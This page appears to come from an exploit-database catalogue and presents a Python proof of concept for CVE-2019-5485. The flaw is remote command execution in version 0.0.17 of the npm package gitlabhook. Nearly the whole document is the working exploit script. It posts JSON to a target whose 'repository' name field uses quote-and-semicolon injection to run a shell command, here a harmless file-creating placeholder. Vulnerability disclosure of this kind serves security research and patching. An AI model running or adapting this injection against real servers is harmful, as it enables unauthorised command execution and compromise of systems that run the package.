Exploit databaseDownload source
EDB-47420
NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
Sources for CVE-2019-5485
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
EDB-47420.py
Python · 485 bytes#!/usr/bin/python
# Exploit Title: NPMJS gitlabhook 0.0.17 - 'repository' Remote Command Execution
# Date: 2019-09-13
# Exploit Author: Semen Alexandrovich Lyhin
# Vendor Homepage: https://www.npmjs.com/package/gitlabhook
# Version: 0.0.17
# Tested on: Kali Linux 2, Windows 10.
# CVE : CVE-2019-5485
import requests
target = "http://TARGET:3420"
cmd = r"touch /tmp/poc.txt"
json = '{"repository":{"name": "Diasporrra\'; %s;\'"}}'% cmd
r = requests.post(target, json)
print "Done."